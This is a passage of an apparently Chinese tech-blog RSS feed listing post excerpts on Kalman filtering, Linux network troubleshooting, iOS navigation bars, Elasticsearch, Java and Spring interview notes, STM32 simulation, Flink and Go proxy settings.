      <description>前言 卡尔曼滤波算法由匈牙利数学家Kalman提出，主要基于线性系统提出。这里我们将其用于汽车跟踪，并对其基本原理进行介绍。&#xA;神奇的卡尔曼滤波，目标追踪的福音&#xA;1. 背景知识&#xA;1.1 时间序列模型&#xA;1.2. 滤波&#xA;1.3. 线性动态系统 2. 卡尔曼滤波理论知识 2.1 预测&#xA;2.1.1 第一条公式：状态转移&#xA;2.1.2 第二条公式：协方差矩阵&#xA;2.2 更新&#xA;2.2.1 第三条公式：卡尔曼增益&#xA;2.2.2 第四条公式：观测矩阵&#xA;2.2.3 第五条公式：&#xA;3. 卡尔曼滤波的应用&#xA;3.1 代码&#xA;3.1.1 获取场景数据。&#xA;3.1.2 初始化&#xA;3.1.3 开始预测与更新&#xA;3.1.4 画图 1.背景知识 1.1 时间序列模型 时间序列模型都可以用如下示意图表示：&#xA;这个模型包含两个序列，一个是黄色部分的状态序列，用X表示，一个是绿色部分的观测序列（又叫测量序列、证据序列、观察序列，不同的书籍有不同的叫法，在这里统一叫观测序列。）用Y表示。状态序列反应了系统的真实状态，一般不能被直接观测，即使被直接观测也会引进噪声；观测序列是通过测量得到的数据，它与状态序列之间有规律性的联系。&#xA;上面序列中，假设初始时间为, 则,是时刻的状态值和观测值，,是时刻的状态值和观测值...，即随着时间的流逝，序列从左向右逐渐展开。 常见的时间序列模型主要包括三个：隐尔马尔科夫模型，卡尔曼滤波，粒子滤波。&#xA;1.2. 滤波 时间序列模型中包括预测和滤波两步&#xA;预测：指用当前和过去的数据来求取未来的数据。对应上述序列图中，则是利用时刻,的值，估计时刻值。滤波：是用当前和过去的数据来求取当前的数据。对应上述序列图中，则是先通过上一步的预测步骤得到的一个预测值，再利用时刻的值对这个预测值进行纠正，得到最终的估计值。（通俗讲，就是通过预测一个值, 通过传感器测量一个值, 将两者进行融合得到最终的值） 1.3. 线性动态系统 卡尔曼滤波又称为基于高斯过程的线性动态系统(Linear Dynamic System, LDS)。&#xA;· 这里的高斯是指：状态变量和观测变量都符合高斯分布；（为什么是高斯分布？因为卡尔曼滤波估计的结果是一个概率，概率不是一个固定的值，而是一个范围，而这个范围符合高斯分布。）&#xA;· 这里的线性是指：可以通过线性表示，可以通过线性表示;&#xA;如果用数学表达式来表达这两层含义如下:&#xA;上面表达式中F是一个矩阵，常称作状态转移矩阵，保证了和的线性关系(线性代数中，矩阵就是线性变换)；常称作噪声，其服从均值为0，方差为Q的高斯分布，保证了服从高斯分布(因为高斯分布加上一个常数后依然是高斯分布)。&#xA;同样的关于和,也可以得到如下表示, 其中矩阵H称作状态空间到观测空间的映射矩阵， rtrt称作噪声，其服从高斯分布：&#xA;2.卡尔曼滤波理论知识 以下公式需要用到的变量含义如下：</description>
    </item>
    <item>
      <title>Xshell连接不上Linux及网卡重启失败解决办法</title>
      <link>https://bchobby.github.io/posts/d645f75da1ef54693c1387bd1664787b/</link>
      <pubDate>Wed, 26 Oct 2022 09:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d645f75da1ef54693c1387bd1664787b/</guid>
      <description>最近跟着老韩的课在学Linux，中途参加了个比赛，有一阵子没开Linux。昨晚刚想打开课程接着看，发现Xshell和Xfpt怎么都连不上了，怪事儿。折腾了一晚上，重新连接成功！&#xA;话不多说，接下来送上我解决的过程：&#xA;一.排查ping的问题 遇到问题第一时间想的是：是不是虚拟机网络连不上了？&#xA;因为我的Linux上装的有火狐所以直接打开网页来看看，果不其然，报错了。&#xA;“请检查您的网络连接”&#xA;没有安装火狐的同学们也没有关系，可以直接尝试ping百度&#xA;ping www.baidu.com 若不成功，会提示“www.baidu.com为未知地址”&#xA;若成功则会正常发送数据包。&#xA;问题解决： 打开VmWare 编辑→虚拟网络编辑器&#xA;依次点击“VMnet8”-“NAT设置”，进入如下界面：&#xA;记住这两个属性，记不住的截图保存，方便后续在Linux中进行配置文件的修改。它们对应的是netmask和gateway的值。&#xA;来到我们的Linux虚拟机中，打开终端，输入&#xA;vi /etc/sysconfig/network-scripts/ifcfg-ens33 注：最后的“-ens33”有的人的网卡不一样，有的人的网卡可能是eth0&#xA;按“i”键进入插入模式&#xA;照下图所示进行修改&#xA;修改完成后“esc:wq”&#xA;保存并退出&#xA;接下来运行该指令&#xA;service network restart 重启网卡，顺利的话此时便可以ping通了。&#xA;但也有特殊情况：网卡重启失败&#xA;很不幸，我也遇上了这种情况。&#xA;二. 解决网卡重启失败问题 执行上述“service network restart”命令后可能会出现以下报错信息：&#xA;Restarting network (via systemctl): Job for network.service failed because the control process exited with error code. See “systemctl status network.service” and “journalctl -xe” for details. [失败] 那么根据我在网上搜索的可能出现的问题及解决方法，可能性最大的有如下三点：&#xA;问题解决 1.和 NetworkManager 服务有冲突 解决方式也非常简单粗暴，直接关闭 NetworkManger 服务避免自启动就好了。</description>
    </item>
    <item>
      <title>IOS之系统15.0版本后移动端APP状态栏&#43;导航栏需要滑动才会显示</title>
      <link>https://bchobby.github.io/posts/db98c32d7ad81ff966ed5a2662a81e01/</link>
      <pubDate>Wed, 26 Oct 2022 08:13:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/db98c32d7ad81ff966ed5a2662a81e01/</guid>
      <description>大家好！最近较忙，今天给大家阐述一个IOS手机15.0后新版本的问题，在移动端测试项目时，小屏幕苹果手机系统正常，但在类似iphone Max这样升级到15.0就会有个小问题，状态栏白色的，需要往上稍微拉动一下才会显示；&#xA;一：进入15.0的手机做一个判断，就兼容到最新的系统了&#xA;Object-C版本 UIColor *commonBlue = [self.cmUtil stringToColor:@&#34;#506168&#34;]; if (@available(iOS 15.0, *)) { UINavigationBarAppearance *appperance = [[UINavigationBarAppearance alloc] init]; //添加背景色 appperance.backgroundColor = commonBlue; appperance.shadowImage = [[UIImage alloc]init]; appperance.shadowColor = nil; //设置字体颜色大小 [appperance setTitleTextAttributes:@{NSForegroundColorAttributeName:[UIColor whiteColor]}]; self.navigationController.navigationBar.standardAppearance = appperance; self.navigationController.navigationBar.scrollEdgeAppearance = appperance; self.navigationController.navigationBar.compactAppearance = appperance; self.navigationController.navigationBar.compactScrollEdgeAppearance = appperance; } self.navigationController.navigationBar.tintColor = [UIColor whiteColor]; self.navigationItem.title = @&#34;Me&#34;; Swfit版本 let commonBlue = UIColor(hexString: &#34;#353535&#34;, transparency: 1.0) if #available(iOS 15.0, *) { let appperance = UINavigationBarAppearance() //添加背景色 appperance.</description>
    </item>
    <item>
      <title>教给大家：怎样给电脑分盘。</title>
      <link>https://bchobby.github.io/posts/dfbf64a7590227ad247fa053475c3762/</link>
      <pubDate>Tue, 25 Oct 2022 20:41:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dfbf64a7590227ad247fa053475c3762/</guid>
      <description>对于刚买新电脑的同学们，或者是接触计算机的小白，我们在买到新的电脑的时候，我们就需要分盘，接下来教给大家！&#xA;第一步：按住win+X键，我们看到磁盘管理&#xA;第二步：进去之后，我们点击我们要分的盘，右键，点击压缩卷。&#xA;第三步，我们点击之后，之后我们就可以按照我们自己的意愿，看自己想分出来多少了，输入好之后，点击压缩。（以我的为例）&#xA;第四步：压缩完成后，会出现未分配的磁盘，右键点击，新建简单卷。&#xA;第五步：我们点击之后，按照他的引导一直到下一步，看这里简单卷的大小，最大的磁盘空间在上面会有提示，到时候按照自己的需求来弄，点击下一步。&#xA;第六步：下一步之后，我们会选盘的名称DEFJ.....（自己选）接下来一直按照电脑默认的选项一直下一步，最后直至完成。希望大家都可以动手试试。&#xA;分享知识是一种美德，希望大家给一个免费的关注，博主接下来还会给大家更多好玩的，有趣的知识。</description>
    </item>
    <item>
      <title>C语言：计算两个数的最大公因数</title>
      <link>https://bchobby.github.io/posts/2ad69366210ecc661bb0fbd095171997/</link>
      <pubDate>Tue, 25 Oct 2022 19:42:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ad69366210ecc661bb0fbd095171997/</guid>
      <description>#define _CRT_SECURE_NO_WARNINGS 1&#xA;#include&amp;lt;stdio.h&amp;gt;&#xA;int main()&#xA;{&#xA;int a, b, c = 0;&#xA;printf(&#34;输入需要计算最大公因素的两个数（用空格隔开）：&#34;);&#xA;scanf(&#34;%d%d&#34;, &amp;amp;a, &amp;amp;b);&#xA;while (c = a%b)&#xA;{&#xA;a = b;&#xA;b = c;&#xA;}&#xA;printf(&#34;这两个数的最大公因数为：%d\n&#34;, b);&#xA;return 0;&#xA;}</description>
    </item>
    <item>
      <title>es搜索引擎</title>
      <link>https://bchobby.github.io/posts/3cba463e7c690493566c345faf85ec8e/</link>
      <pubDate>Tue, 25 Oct 2022 18:16:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3cba463e7c690493566c345faf85ec8e/</guid>
      <description>ES的优势及使用场景、ES的功能及使用简介 简介：&#xA;Elaticsearch简称为ES,是一个开源的可扩展的分布式的全文检索引擎，它可以近乎实时的存储、检索数 据。本身扩展性很好，可扩展到上百台服务器，处理PB级别的数据。ES使用Java开发并使用Lucene作 为其核心来实现索引和搜索的功能，但是它通过简单的RestfulAPI和javaAPI来隐藏Lucene的复杂性， 从而让全文搜索变得简单。&#xA;优势&#xA;分布式的搜索引擎 1、分布式：Elasticsearch自动将海量数据分散到多台服务器上去存储和检索 搜索：百度、谷歌，站内搜索 2、全文检索 提供模糊搜索等自动度很高的查询方式，并进行相关性排名，高亮等功能 3、数据分析引擎（分组聚合） 电商网站，最近一周笔记本电脑这种商品销量排名top10的商家有哪些？新闻网站，最近1个月访 问量排名top3的新闻板块是哪些 4、对海量数据进行近实时的处理 海量数据的处理：因为是分布式架构，Elasticsearch可以采用大量的服务器去存储和检索数据，自 然而然就可以实现海量数据的处理 近实时：Elasticsearch可以实现秒级别的数据搜索和分析。&#xA;场景&#xA;1.常见场景&#xA;搜索类场景 比如说电商网站、招聘网站、新闻资讯类网站、各种app内的搜索。&#xA;日志分析类场景 经典的ELK组合（Elasticsearch/Logstash/Kibana），可以完成日志收集，日志存储，日志分析查 询界面基本功能，目前该方案的实现很普及，大部分企业日志分析系统使用了该方案。&#xA;数据预警平台及数据分析场景 例如电商价格预警，在支持的电商平台设置价格预警，当优惠的价格低于某个值时，触发通知消 息，通知用户购买。 数据分析常见的比如分析电商平台销售量top 10的品牌，分析博客系统、头条网站top 10关注度、 评论数、访问量的内容等等。&#xA;商业BI(Business Intelligence)系统 比如大型零售超市，需要分析上一季度用户消费金额，年龄段，每天各时间段到店人数分布等信 息，输出相应的报表数据，并预测下一季度的热卖商品，根据年龄段定向推荐适宜产品。 Elasticsearch执行数据分析和挖掘，Kibana做数据可视化。&#xA;2.常见案例 维基百科、百度百科：有全文检索、高亮、搜索推荐功能 stack overflow：有全文检索，可以根据报错关键信息，去搜索解决方法。 github：从上千亿行代码中搜索你想要的关键代码和项目。 日志分析系统：各企业内部搭建的ELK平台。&#xA;ES的可靠性设计： 数据可靠性：&#xA;引入translog 当一个文档写入Lucence后是存储在内存中的，即使执行了refresh操作仍然是在文件系统缓存中，如果此时服务器宕机，那么这部分数据将会丢失。为此ES增加了translog， 当进行文档写操作时会先将文档写入Lucene，然后写入一份到translog，写入translog是落盘的(如果对可靠性要求不是很高，也可以设置异步落盘，可以提高性能，由配置index.translog.durability和index.translog.sync_interval控制)，这样就可以防止服务器宕机后数据的丢失。由于translog是追加写入，因此性能比较好。与传统的分布式系统不同，这里是先写入Lucene再写入translog，原因是写入Lucene可能会失败，为了减少写入失败回滚的复杂度，因此先写入Lucene.&#xA;flush操作 另外每30分钟或当translog达到一定大小(由index.translog.flush_threshold_size控制，默认512mb), ES会触发一次flush操作，此时ES会先执行refresh操作将buffer中的数据生成segment，然后调用lucene的commit方法将所有内存中的segment fsync到磁盘。此时lucene中的数据就完成了持久化，会清空translog中的数据(6.x版本为了实现sequenceIDs,不删除translog) merge操作 由于refresh默认间隔为1s中，因此会产生大量的小segment，为此ES会运行一个任务检测当前磁盘中的segment，对符合条件的segment进行合并操作，减少lucene中的segment个数，提高查询速度，降低负载。不仅如此，merge过程也是文档删除和更新操作后，旧的doc真正被删除的时候。用户还可以手动调用_forcemerge API来主动触发merge，以减少集群的segment个数和清理已删除或更新的文档。&#xA;多副本机制&#xA;另外ES有多副本机制，一个分片的主副分片不能分片在同一个节点上，进一步保证数据的可靠性。&#xA;2.4 部分更新 lucene支持对文档的整体更新，ES为了支持局部更新，在Lucene的Store索引中存储了一个source字段，该字段的key值是文档ID， 内容是文档的原文。当进行更新操作时先从source中获取原文，与更新部分合并后，再调用lucene API进行全量更新， 对于写入了ES但是还没有refresh的文档，可以从translog中获取。另外为了防止读取文档过程后执行更新前有其他线程修改了文档，ES增加了版本机制，当执行更新操作时发现当前文档的版本与预期不符，则会重新获取文档再更新。&#xA;ES的高性能设计： 1.倒排索引的设计让ElasticSearch查询更快&#xA;ES的搜索数据结构模型基于倒排索引。倒排索引是指数据存储时，进行分词建立term索引库。倒排索引源于实际应用中需要根据属性的值来查找记录。这种索引表中的每一项都包括一个属性值和具有该属性值的各记录的地址。由于不是由记录来确定属性值，而是由属性值来确定记录的位置，因而称为倒排索引(inverted index)。带有倒排索引的文件我们称为倒排索引文件，简称倒排文件(inverted file)。</description>
    </item>
    <item>
      <title>暴露的三种方式</title>
      <link>https://bchobby.github.io/posts/2abe32d93ee664e1b13b25a3e308f2ee/</link>
      <pubDate>Tue, 25 Oct 2022 17:51:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2abe32d93ee664e1b13b25a3e308f2ee/</guid>
      <description>三种暴露分别是：分别暴露 统一暴露 默认暴露 分别暴露 export let school = &#39;拜托低质量的学习&#39;; export function teach() { console.log(&#34;拜托低质量的学习&#34;); } 统一暴露： let school = &#39;拜托低质量的学习&#39;; function findJob(){ console.log(&#34;拜托低质量的学习&#34;); } export {school, findJob} 默认暴露： export default { school: &#39;ATGUIGU&#39;, change: function(){ console.log(&#34;我不想被改变&#34;); } } 模块导入数据方法 通用导入方式 import * as m1 from &#39;./js/m1.js&#39;; import * as m2 from &#39;./js/m2.js&#39;; import * as m3 from &#39;./js/m3.js&#39;; m3.default.change() 解构导入方式 import {school, teach} from &#34;./src/js/m1.js&#34;; import {school as guigu, findJob} from &#34;</description>
    </item>
    <item>
      <title>真实Java面试场景汇总-二！</title>
      <link>https://bchobby.github.io/posts/2db5c52966abe6075a044113021d6687/</link>
      <pubDate>Tue, 25 Oct 2022 17:08:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2db5c52966abe6075a044113021d6687/</guid>
      <description>一、MySQL调优 1.避免使用select * ，最好使用列名。实测，速度快很多 2.加索引 1.主键索引&#xA;alter table 表名 add primary key(列名);&#xA;2.唯一索引&#xA;alter table 表名 add unique(列名);&#xA;3.普通索引&#xA;alter table 表名 add index 索引名(index_name) (列名);&#xA;4.全文索引&#xA;alter table 表名 add fulltext (列名);&#xA;5.联合索引&#xA;alter table 表名 add index 索引名(index_name) (列名1，列名2.......);&#xA;需遵守最左前缀法则&#xA;3.查询一条数据时，加limit 1 4.查询时，between and比in效率要高 5.where条件后加表达式 6.在 where 条件后使用 or 来连接条件，如果or连接的条件有一方没有索引,则导致索引失效而进行全表扫描 二、数据库引擎 InnoDB 引擎：InnoDB 引擎提供了对数据库 acid 事务的支持，并且还提供了行级锁(默认)、表级锁和外键的约束，它的设计的目标就是处理大数据容量的数据库系统。MySQL 运行的时候，InnoDB 会在内存中建立缓冲池，用于缓冲数据和索引。但是该引擎是不支持全文搜索，同时启动也比较的慢，它是不会保存表的行数的，所以当进行 select count(*) from table 指令的时候，需要进行扫描全表。由于锁的粒度小，写操作是不会锁定全表的,所以在并发度较高的场景下使用会提升效率的。&#xA;MyIASM 引擎：MySQL 的默认引擎，但不提供事务的支持，只支持表级锁。因此当执行插入和更新语句时，即执行写操作的时候需要锁定这个表，所以会导致效率会降低。不过和 InnoDB 不同的是，MyIASM 引擎是保存了表的行数，于是当进行 select count(*) from table 语句时，可以直接的读取已经保存的值而不需要进行扫描全表。所以，如果表的读操作远远多于写操作时，并且不需要事务的支持的，可以将 MyIASM 作为数据库引擎的首选。</description>
    </item>
    <item>
      <title>韩顺平java基础——坦克大战（含有线程、I\O流的讲解）</title>
      <link>https://bchobby.github.io/posts/b06b7f382aae557f9227d4c2e01e560a/</link>
      <pubDate>Tue, 25 Oct 2022 15:59:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b06b7f382aae557f9227d4c2e01e560a/</guid>
      <description>写在最前边： 研究生一枚，为后端实习和未来工作打基础。无意间发现韩顺平老师的课程，细心细致，讲课和吴恩达老师一样，都是保姆式讲解，各种基础知识都会补充，爱了。&#xA;韩顺平老师课程地址：https://www.bilibili.com/video/BV1fh411y7R8?spm_id_from=333.999.0.0&#xA;阅读提醒：本笔试适合有编程语言基础的伙伴阅读，因为本兔兔是本专业的，有c、c++、python 、sql基础，笔记中特别的基础的内容就没有记录。完全零基础的小伙伴建议跟着韩老师的课程自己记录。&#xA;============================= ❀ 坦 克 大 战 ❀ ============================= ============================== ❀ 1.0 版 本 ❀ ============================== 用到泛型及其之前的知识 一、Java绘图坐标体系 1、像素——密度单位（与厘米这种长度单位完全不是一回事） 与分辨率有关：分辨率越高像素越大，密度越高，展示的东西越丰富。 像素 = 分辨率的长× 宽 2、坐标介绍 坐标 原点 位于左上角 坐标单位是 像素 （x , y） 二、Java绘图入门 1、步骤 定义一个类MyPanel extends JPanel，作为画板； MyPanel 类中重写paint方法，使用Graphics类 作为画笔。进行一系列方法绘图； 定义一个类 DrawCircle extends JFrame ，作为活动窗口展示画板内容 DrawCircle 类中 声明一个画板类 MyPanel 在DrawCircle 类的构造器或者其他方法中创建MyPanel 对象并加入当前DrawCircle 类对象中 设置窗口大小以及是否显示 代码实例 import javax.swing.*; import java.awt.*; public class MyPanel extends JPanel{ @Override public void paint(Graphics g) { super.</description>
    </item>
    <item>
      <title>面试-框架篇</title>
      <link>https://bchobby.github.io/posts/c938b91ebd6a08e7a395e226b1eb2ea6/</link>
      <pubDate>Tue, 25 Oct 2022 15:56:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c938b91ebd6a08e7a395e226b1eb2ea6/</guid>
      <description>Spring 你对Spring了解多少？ Spring 是一款开源的轻量级 Java 开发框架，旨在提高开发人员的开发效率以及系统的可维护性，它是很多模块的集合，使用这些模块可以很方便地协助我们进行开发，比如说 Spring 支持 IoC（Inverse of Control:控制反转） 和 AOP(Aspect-Oriented Programming:面向切面编程)、可以很方便地对数据库进行访问、可以很方便地集成第三方组件（电子邮件，任务，调度，缓存等等）、对单元测试支持比较好、支持 RESTful Java 应用程序的开发。&#xA;Spring 提供的核心功能主要是 IoC 和 AOP&#xA;IOC IoC（Inverse of Control:控制反转） 是一种设计思想，而不是一个具体的技术实现。IoC 的思想就是将原本在程序中手动创建对象的控制权，交由 Spring 框架来管理。不过， IoC 并非 Spring 特有，在其他语言中也有应用。&#xA;IoC 容器是 Spring⽤来实现 IoC 的载体， IoC 容器实际上就是个Map（key，value）,Map 中存放的是各种对象。将对象之间的相互依赖关系交给 IoC 容器来管理，并由 IoC 容器完成对象的注（DI）⼊。这样可以很⼤程度上简化应⽤的开发，把应⽤从复杂的依赖关系中解放出来。 IoC 容器就像是⼀个⼯⼚⼀样，当我们需要创建⼀个对象的时候，只需要配置好配置⽂件/注解即可，完全不⽤考虑对象是如何被创建出来的。&#xA;AOP 动态代理&#xA;AOP(Aspect-Oriented Programming:⾯向切⾯编程)能够将那些与业务⽆关，却为业务模块所共同调⽤的逻辑或责任（例如事务处理、⽇志管理、权限控制等）封装起来，便于减少系统的重复代码，降低模块间的耦合度，并有利于未来的可拓展性和可维护性。&#xA;Spring AOP就是基于动态代理的，如果要代理的对象，实现了某个接⼝，那么Spring AOP会使⽤JDKProxy，去创建代理对象，⽽对于没有实现接⼝的对象，就⽆法使⽤ JDK Proxy 去进⾏代理了，这时候Spring AOP会使⽤基于asm框架字节流的Cglib动态代理 ，这时候Spring AOP会使⽤ Cglib ⽣成⼀个被代理对象的⼦类来作为代理。&#xA;当然你也可以使用 AspectJ ,Spring AOP 已经集成了AspectJ ，AspectJ 应该算的上是 Java 生态系统中最完整的 AOP 框架了。</description>
    </item>
    <item>
      <title>论文阅读：分布式多传感器多目标跟踪方法综述</title>
      <link>https://bchobby.github.io/posts/88bb67f1c549b9deb3756de48a843bcf/</link>
      <pubDate>Tue, 25 Oct 2022 15:26:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88bb67f1c549b9deb3756de48a843bcf/</guid>
      <description> 第一行：咕咕咕。&#xA;第二行：感觉综述就看了个囫囵。&#xA;摘要&#xA;主要内容&#xA;重点&#xA;意义&#xA;备注&#xA;介绍4项技术：目标跟踪、传感器配准、航迹关联、数据融合（各技术理论原理+适用条件）&#xA;不完整测量条件下的空间配准和航迹关联&#xA;总结现有技术+存在问题，指出未来发展趋势&#xA;背景介绍&#xA;多传感器目标跟踪技术（多传感器融合技术）广泛应用于军事指挥和工业控制：可分为集中式（收集各传感器信息送入中央处理器处理）、分布式（各传感器有各自处理中心）、混合式（结合前两者）【按体系结构】&#xA;具体技术&#xA;目标跟踪&#xA;本质：利用各传感器获得的带噪声量测数据对目标的状态和个数进行估计的过程&#xA;原理：贝叶斯滤波原理&#xA;方法&#xA;单目标&#xA;多目标：数据关联类多目标（通过数据关联将多目标转化为单目标进行解决）；不关联（多种改进的滤波器）&#xA;传感器配准&#xA;原因：需要将多个传感器的数据转换到相同的时空参照系中，由于存在系统偏差和量测误差故进行配准&#xA;时间配准&#xA;定义：将各传感器的对同一目标的异步测量信息配准到同一时刻。&#xA;方法：最小二乘、内插外推、曲线插值、曲线拟合、卡尔曼滤波&#xA;空间配准&#xA;利用多传感器对空间公共目标的探测信息对传感器的系统偏差进行估计和补偿的过程&#xA;分为合作目标和非合作目标（是否已知目标位置）&#xA;非合作目标空间配准算法：分离线（认为系统偏差在一段时间内保持不变）和在线（系统偏差为渐变值）&#xA;航迹关联&#xA;定义：找出同一目标对应的航迹&#xA;同空间配准互为前提条件，为解决耦合提出两类解决方法&#xA;方法：基于统计类和基于模糊数学&#xA;数据融合&#xA;定义：基于某种准则对来自同一目标的航迹进行估计融合，最终形成稳定高精度的全局航迹&#xA;融合准则&#xA;融合方法&#xA;局限性或发展方向分析&#xA;检测跟踪一体化及自适应杂波动态复杂场景下的高精度、实时空间配准如何进行有效航迹关联融合航迹的实时质量评估 </description>
    </item>
    <item>
      <title>基于STM32单片机的温湿度检测报警器Proteus仿真程序</title>
      <link>https://bchobby.github.io/posts/c91b9a8805894416d553e0ae771d558b/</link>
      <pubDate>Tue, 25 Oct 2022 14:38:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c91b9a8805894416d553e0ae771d558b/</guid>
      <description>2、基于STM32单片机的温湿度检测报警器（液晶1602） 功能描述： 本设计由STM32F103单片机最小系统+DHT11温湿度传感器+1602液晶显示模块+声光报警模块+独立按键组成。&#xA;1、主控制器是STM32F103单片机&#xA;2、DHT11传感器测量温度和湿度数据&#xA;3、1602液晶显示温度、湿度&#xA;4、三个按键可设置温度、湿度上限报警值，温度或者湿度超过上限时，蜂鸣器LED声光报警&#xA;视频演示链接： 2、基于STM32单片机的温湿度检测报警器（液晶1602）&#xA;仿真图： STM32F103最小系统分为时钟电路和复位电路，我们采用STM32F103C8T6芯片，单片机的时钟电路由一个8M的晶振和两个22P的小电容组成。由于芯片IO口内部自带上拉电阻，因此复位电路只需一个100nF电容组成。BOOT0和BOOT1引脚的高低电平决定着不同的启动模式，选择BOOT0为低电平，即系统存储器被选为启动区域[9]。&#xA;通过BOOT[1:0]引脚可以选择三种不同启动模式。如下表1通过BOOT[1:0]引脚可以选择三种不同启动模式。&#xA;对于 STM32 来说也相比51复杂。MCU微处理器是整个系统的核心，相当于整个系统的“大脑”，维持着整个系统的运行，所以微控制必须能够稳定的运行，下图（图3-3）为STM32F103C8T6最小系统电路图，芯片电源为3.3V供电，每一组电源都通过104电容滤波。MCU外围也必须有滤波电容，下载调试电路用最小系统开发板自带的SW接口，接上ST-LINK就可以在线下载调试了。如下图3-4为本次设计使用的STM32F103C8T6最小系统模块内部电路图。&#xA;图3-4 STM32F103C8T6最小系统板&#xA;本次设计选型用LQPF44封装的STM32F103C8T6为主控，如图中U1，供电电源为3.3V，主要由电源滤波电路、晶振电路、复位电路、SW接口调试电路、BOOT模式选择电路等组成。&#xA;（1）STM32最小系统电路&#xA;最小系统电路由STM32F103C8T6单片机芯片和时钟电路，时钟电路由一个8M晶振和两个30pf电容串联接入时钟输入脚。&#xA;（2）启动模式选择电路&#xA;通过BOOT引脚可以选择不同的启动模式，如下表1.1所示，通过BOOT0和BOOT1脚的电平状态从而控制器启动模式。&#xA;（3）复位电路，STM32具有软件复位和硬件复位，上电复位芯片需要足够时间进行初始化，需要在NRST脚保持低电平信号，利用复位电路的电容充放电作用，STM32启动时由低电平变高，芯片从而复位，转换芯片正常工作。&#xA;表1 STM32启动模式表 启动模式选择脚&#xA;启动模式&#xA;说明&#xA;BOOT0&#xA;BOOT1&#xA;X&#xA;0&#xA;主闪存存储器&#xA;启动区域为主闪存存储器&#xA;0&#xA;1&#xA;系统存储器&#xA;启动区域为系统存储器&#xA;1&#xA;1&#xA;内置SRAM&#xA;启动区域为内置SRAM&#xA;程序源码： #include &#34;delay.h&#34; #include &#34;LCD1602.h&#34; #include &#34;key.h&#34; #include &#34;led.h&#34; #include &#34;timer.h&#34; #include &#34;dht11.h&#34; #include &#34;stdio.h&#34; #include &#34;stdlib.h&#34; short Tpup = 35 ,Huup = 60 ;&#x9;//温度上限 默认35 湿度默认60 int main(void) {&#x9;char buf[18]; unsigned char temperature = 0,humidity = 0; //温度 湿度 unsigned char key_value = 0;&#x9;//按键返回值 NVIC_PriorityGroupConfig(NVIC_PriorityGroup_2);&#x9;//设置中断优先级分组为组2：2位抢占优先级，2位响应优先级 Lcd1602_Init();&#x9;//液晶1602初始化 LED_Init(); delay_ms(100); while(DHT11_Init()) { Lcd1602_String(0,0,(u8 *)&#34;</description>
    </item>
    <item>
      <title>Flink 1.13 写 HDFS 任务异常分析</title>
      <link>https://bchobby.github.io/posts/cc04606321c88f560a1787896871c863/</link>
      <pubDate>Tue, 25 Oct 2022 10:21:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc04606321c88f560a1787896871c863/</guid>
      <description>一、背景&#xA;任务是基于Flink 1.13 版本java api 实现的，主要功能是将业务数据写到 hdfs 上。&#xA;二、问题&#xA;主要的报错信息如下&#xA;2022-10-24 18:18:42,206 WARN org.apache.flink.runtime.taskmanager.Task [] - Source: Kafka Source -&amp;gt; Flat Map -&amp;gt; Process -&amp;gt; Flat Map -&amp;gt; Sink: Unnamed (4/6)#676 (ea645f328d5a2ee473927cd39c92e050) switched from RUNNING to FAILED with failure cause: org.apache.flink.util.FlinkRuntimeException: Could not find a public truncate method on the Hadoop File System. at org.apache.flink.runtime.fs.hdfs.HadoopRecoverableFsDataOutputStream.ensureTruncateInitialized(HadoopRecoverableFsDataOutputStream.java:186) at org.apache.flink.runtime.fs.hdfs.HadoopRecoverableFsDataOutputStream.&amp;lt;init&amp;gt;(HadoopRecoverableFsDataOutputStream.java:71) at org.apache.flink.runtime.fs.hdfs.HadoopRecoverableWriter.open(HadoopRecoverableWriter.java:80) at org.apache.flink.streaming.api.functions.sink.filesystem.OutputStreamBasedPartFileWriter$OutputStreamBasedBucketWriter.openNewInProgressFile(OutputStreamBasedPartFileWriter.java:90) at org.apache.flink.streaming.api.functions.sink.filesystem.BulkBucketWriter.openNewInProgressFile(BulkBucketWriter.java:36) at org.apache.flink.streaming.api.functions.sink.filesystem.Bucket.rollPartFile(Bucket.java:243) at org.apache.flink.streaming.api.functions.sink.filesystem.Bucket.write(Bucket.java:220) at org.apache.flink.streaming.api.functions.sink.filesystem.Buckets.onElement(Buckets.java:305) at org.</description>
    </item>
    <item>
      <title>go get执行无法下载包，报warning: go env -w GOPROXY=... does not override conflicting OS environm</title>
      <link>https://bchobby.github.io/posts/4031fc662c54fd9d301b1b13e48f119b/</link>
      <pubDate>Tue, 25 Oct 2022 10:16:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4031fc662c54fd9d301b1b13e48f119b/</guid>
      <description>打开cmd，执行go env&#xA;C:\Users\86131&amp;gt;go env set GO111MODULE=on set GOARCH=amd64 set GOBIN=D:\study\Go\GoProject\bin set GOCACHE=C:\Users\86131\AppData\Local\go-build set GOENV=C:\Users\86131\AppData\Roaming\go\env set GOEXE=.exe set GOEXPERIMENT= set GOFLAGS= set GOHOSTARCH=amd64 set GOHOSTOS=windows set GOINSECURE= set GOMODCACHE=D:\study\Go\GoProject\pkg\mod set GONOPROXY= set GONOSUMDB= set GOOS=windows set GOPATH=D:\study\Go\GoProject set GOPRIVATE= set GOPROXY=https://goproxy.cn,direct set GOROOT=D:\study\Go\GOROOT\go1.17.3 set GOSUMDB=sum.golang.org set GOTMPDIR= set GOTOOLDIR=D:\study\Go\GOROOT\go1.17.3\pkg\tool\windows_amd64 set GOVCS= set GOVERSION=go1.17.3 set GCCGO=gccgo set AR=ar set CC=gcc set CXX=g++ set CGO_ENABLED=1 set GOMOD=NUL set CGO_CFLAGS=-g -O2 set CGO_CPPFLAGS= set CGO_CXXFLAGS=-g -O2 set CGO_FFLAGS=-g -O2 set CGO_LDFLAGS=-g -O2 set PKG_CONFIG=pkg-config set GOGCCFLAGS=-m64 -mthreads -fmessage-length=0 -fdebug-prefix-map=C:\Users\86131\AppData\Local\Temp\go-build1098379897=/tmp/go-build -gno-record-gcc-switches 打开goland命令行，执行go env</description>
    </item>
    <item>
      <title>pycharm用不了anaconda的库</title>
